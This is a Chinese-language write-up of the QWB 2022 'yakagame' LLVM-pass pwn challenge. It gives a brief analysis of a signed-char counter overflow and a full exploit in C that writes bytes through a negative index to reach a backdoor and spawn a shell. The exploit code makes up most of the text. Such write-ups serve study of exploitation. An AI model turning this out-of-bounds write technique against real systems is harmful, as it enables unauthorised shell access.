强网杯-2022 yakagame

题目分析

  • 做过前两个llvm的题,逆向基本已经没有什么问题了,题目逻辑都看得懂,题目中有个很明显的后门函数 if ( (__int64)*score > 0x12345678 ) backdoor();
  • 但是有个很困惑的地方是weaponlist是一个db类型的数组,所以正常赋值肯定无法满足后门函数的条件。这个题还有个误导人的地方就是给了可以处理cmd值的函数,更让人觉得是要通过一堆数值运算让cmd=“cat flag”
  • 最后有个函数才是真正的漏洞利用点
  • 同时发现这个cnt是个char型,-127~128,有很明显的负数溢出,懂了原理这个负数溢出也是相当的简单

exp

// clang-8 -emit-llvm -S exp.c -o exp.ll
void winmt000(int x);
void winmt001(int x);
void winmt002(int x);
void winmt003(int x);
void winmt004(int x);
void winmt005(int x);
void winmt006(int x);
void winmt007(int x);
void winmt008(int x);
void winmt009(int x);
void winmt010(int x);
void winmt011(int x);
void winmt012(int x);
void winmt013(int x);
void winmt014(int x);
void winmt015(int x);
void winmt016(int x);
void winmt017(int x);
void winmt018(int x);
void winmt019(int x);
void winmt020(int x);
void winmt021(int x);
void winmt022(int x);
void winmt023(int x);
void winmt024(int x);
void winmt025(int x);
void winmt026(int x);
void winmt027(int x);
void winmt028(int x);
void winmt029(int x);
void winmt030(int x);
void winmt031(int x);
void winmt032(int x);
void winmt033(int x);
void winmt034(int x);
void winmt035(int x);
void winmt036(int x);
void winmt037(int x);
void winmt038(int x);
void winmt039(int x);
void winmt040(int x);
void winmt041(int x);
void winmt042(int x);
void winmt043(int x);
void winmt044(int x);
void winmt045(int x);
void winmt046(int x);
void winmt047(int x);
void winmt048(int x);
void winmt049(int x);
void winmt050(int x);
void winmt051(int x);
void winmt052(int x);
void winmt053(int x);
void winmt054(int x);
void winmt055(int x);
void winmt056(int x);
void winmt057(int x);
void winmt058(int x);
void winmt059(int x);
void winmt060(int x);
void winmt061(int x);
void winmt062(int x);
void winmt063(int x);
void winmt064(int x);
void winmt065(int x);
void winmt066(int x);
void winmt067(int x);
void winmt068(int x);
void winmt069(int x);
void winmt070(int x);
void winmt071(int x);
void winmt072(int x);
void winmt073(int x);
void winmt074(int x);
void winmt075(int x);
void winmt076(int x);
void winmt077(int x);
void winmt078(int x);
void winmt079(int x);
void winmt080(int x);
void winmt081(int x);
void winmt082(int x);
void winmt083(int x);
void winmt084(int x);
void winmt085(int x);
void winmt086(int x);
void winmt087(int x);
void winmt088(int x);
void winmt089(int x);
void winmt090(int x);
void winmt091(int x);
void winmt092(int x);
void winmt093(int x);
void winmt094(int x);
void winmt095(int x);
void winmt096(int x);
void winmt097(int x);
void winmt098(int x);
void winmt099(int x);
void winmt100(int x);
void winmt101(int x);
void winmt102(int x);
void winmt103(int x);
void winmt104(int x);
void winmt105(int x);
void winmt106(int x);
void winmt107(int x);
void winmt108(int x);
void winmt109(int x);
void winmt110(int x);
void winmt111(int x);
void winmt112(int x);
void winmt113(int x);
void winmt114(int x);
void winmt115(int x);
void winmt116(int x);
void winmt117(int x);
void winmt118(int x);
void winmt119(int x);
void winmt120(int x);
void winmt121(int x);
void winmt122(int x);
void winmt123(int x);
void winmt124(int x);
void winmt125(int x);
void winmt126(int x);
void winmt127(int x);
void winmt128(int x);
void winmt129(int x);
void winmt130(int x);
void winmt131(int x);
void winmt132(int x);
void winmt133(int x);
void winmt134(int x);
void winmt135(int x);
void winmt136(int x);
void winmt137(int x);
void winmt138(int x);
void winmt139(int x);
void winmt140(int x);
void winmt141(int x);
void winmt142(int x);
void winmt143(int x);
void winmt144(int x);
void winmt145(int x);
void winmt146(int x);
void winmt147(int x);
void winmt148(int x);
void winmt149(int x);
void winmt150(int x);
void winmt151(int x);
void winmt152(int x);
void winmt153(int x);
void winmt154(int x);
void winmt155(int x);
void winmt156(int x);
void winmt157(int x);
void winmt158(int x);
void winmt159(int x);
void winmt160(int x);
void winmt161(int x);
void winmt162(int x);
void winmt163(int x);
void winmt164(int x);
void winmt165(int x);
void winmt166(int x);
void winmt167(int x);
void winmt168(int x);
void winmt169(int x);
void winmt170(int x);
void winmt171(int x);
void winmt172(int x);
void winmt173(int x);
void winmt174(int x);
void winmt175(int x);
void winmt176(int x);
void winmt177(int x);
void winmt178(int x);
void winmt179(int x);
void winmt180(int x);
void winmt181(int x);
void winmt182(int x);
void winmt183(int x);
void winmt184(int x);
void winmt185(int x);
void winmt186(int x);
void winmt187(int x);
void winmt188(int x);
void winmt189(int x);
void winmt190(int x);
void winmt191(int x);
void winmt192(int x);
void winmt193(int x);
void winmt194(int x);
void winmt195(int x);
void winmt196(int x);
void winmt197(int x);
void winmt198(int x);
void winmt199(int x);
void winmt200(int x);
void winmt201(int x);
void winmt202(int x);
void winmt203(int x);
void winmt204(int x);
void winmt205(int x);
void winmt206(int x);
void winmt207(int x);
void winmt208(int x);
void winmt209(int x);
void winmt210(int x);
void winmt211(int x);
void winmt212(int x);
void winmt213(int x);
void winmt214(int x);
void winmt215(int x);
void winmt216(int x);
void winmt217(int x);
void winmt218(int x);
void winmt219(int x);
void winmt220(int x);
void winmt221(int x);
void winmt222(int x);
void winmt223(int x);
void winmt224(int x);
void winmt225(int x);
void winmt226(int x);
void winmt227(int x);
void winmt228(int x);
void winmt229(int x);
void winmt230(int x);
void winmt231(int x);
void winmt232(int x);
void winmt233(int x);
void winmt234(int x);
void winmt235(int x);
void winmt236(int x);
void winmt237(int x);
void winmt238(int x);
void winmt239(int x);
void winmt240(int x);
 
void fight(int x);
 
void gamestart()
{
    winmt000(0);
    winmt001(0);
    winmt002(0);
    winmt003(0);
    winmt004(0);
    winmt005(0);
    winmt006(0);
    winmt007(0);
    winmt008(0);
    winmt009(0);
    winmt010(0);
    winmt011(0);
    winmt012(0);
    winmt013(0);
    winmt014(0);
    winmt015(0);
    winmt016(0);
    winmt017(0);
    winmt018(0);
    winmt019(0);
    winmt020(0);
    winmt021(0);
    winmt022(0);
    winmt023(0);
    winmt024(0);
    winmt025(0);
    winmt026(0);
    winmt027(0);
    winmt028(0);
    winmt029(0);
    winmt030(0);
    winmt031(0);
    winmt032(0);
    winmt033(0);
    winmt034(0);
    winmt035(0);
    winmt036(0);
    winmt037(0);
    winmt038(0);
    winmt039(0);
    winmt040(0);
    winmt041(0);
    winmt042(0);
    winmt043(0);
    winmt044(0);
    winmt045(0);
    winmt046(0);
    winmt047(0);
    winmt048(0);
    winmt049(0);
    winmt050(0);
    winmt051(0);
    winmt052(0);
    winmt053(0);
    winmt054(0);
    winmt055(0);
    winmt056(0);
    winmt057(0);
    winmt058(0);
    winmt059(0);
    winmt060(0);
    winmt061(0);
    winmt062(0);
    winmt063(0);
    winmt064(0);
    winmt065(0);
    winmt066(0);
    winmt067(0);
    winmt068(0);
    winmt069(0);
    winmt070(0);
    winmt071(0);
    winmt072(0);
    winmt073(0);
    winmt074(0);
    winmt075(0);
    winmt076(0);
    winmt077(0);
    winmt078(0);
    winmt079(0);
    winmt080(0);
    winmt081(0);
    winmt082(0);
    winmt083(0);
    winmt084(0);
    winmt085(0);
    winmt086(0);
    winmt087(0);
    winmt088(0);
    winmt089(0);
    winmt090(0);
    winmt091(0);
    winmt092(0);
    winmt093(0);
    winmt094(0);
    winmt095(0);
    winmt096(0);
    winmt097(0);
    winmt098(0);
    winmt099(0);
    winmt100(0);
    winmt101(0);
    winmt102(0);
    winmt103(0);
    winmt104(0);
    winmt105(0);
    winmt106(0);
    winmt107(0);
    winmt108(0);
    winmt109(0);
    winmt110(0);
    winmt111(0);
    winmt112(0);
    winmt113(0);
    winmt114(0);
    winmt115(0);
    winmt116(0);
    winmt117(0);
    winmt118(0);
    winmt119(0);
    winmt120(0);
    winmt121(0);
    winmt122(0);
    winmt123(0);
    winmt124(0);
    winmt125(0);
    winmt126(0);
    winmt127(0);
    winmt128(0);
    winmt129(0);
    winmt130(0);
    winmt131(0);
    winmt132(0);
    winmt133(0);
    winmt134(0);
    winmt135(0);
    winmt136(0);
    winmt137(0);
    winmt138(0);
    winmt139(0);
    winmt140(0);
    winmt141(0);
    winmt142(0);
    winmt143(0);
    winmt144(0);
    winmt145(0);
    winmt146(0);
    winmt147(0);
    winmt148(0);
    winmt149(0);
    winmt150(0);
    winmt151(0);
    winmt152(0);
    winmt153(0);
    winmt154(0);
    winmt155(0);
    winmt156(0);
    winmt157(0);
    winmt158(0);
    winmt159(0);
    winmt160(0);
    winmt161(0);
    winmt162(0);
    winmt163(0);
    winmt164(0);
    winmt165(0);
    winmt166(0);
    winmt167(0);
    winmt168(0);
    winmt169(0);
    winmt170(0);
    winmt171(0);
    winmt172(0);
    winmt173(0);
    winmt174(0);
    winmt175(0);
    winmt176(0);
    winmt177(0);
    winmt178(0);
    winmt179(0);
    winmt180(0);
    winmt181(0);
    winmt182(0);
    winmt183(0);
    winmt184(0);
    winmt185(0);
    winmt186(0);
    winmt187(0);
    winmt188(0);
    winmt189(0);
    winmt190(0);
    winmt191(0);
    winmt192(0);
    winmt193(0);
    winmt194(0);
    winmt195(0);
    winmt196(0);
    winmt197(0);
    winmt198(0);
    winmt199(0);
    winmt200(0);
    winmt201(0);
    winmt202(0);
    winmt203(0);
    winmt204(0);
    winmt205(0);
    winmt206(0);
    winmt207(0);
    winmt208(0);
    winmt209(0);
    winmt210(0);
    winmt211(0);
    winmt212(0);
    winmt213(0);
    winmt214(0);
    winmt215(0);
    winmt216(0);
    winmt217(0);
    winmt218(0);
    winmt219(0);
    winmt220(0);
    winmt221(0);
    winmt222(0);
    winmt223(0);
    winmt224(0);
    winmt225(0);
    winmt226(0);
    winmt227(0);
    winmt228(0);
    winmt229(0);
    winmt230(0);
    winmt231(0);
    //opt-8中的sh
    winmt232(0x6B);
    winmt233(0x69);
    winmt234(0x44);
    winmt235(0x00);
    winmt236(0);
    winmt237(0);
    winmt238(0);
    winmt239(0);
    //score=0x44696b9090
    winmt240(0x90);
    winmt240(0x90);
    winmt232(0x6B);
    winmt233(0x69);
    winmt234(0x44);
    winmt235(0x00);
 
    fight(0);
}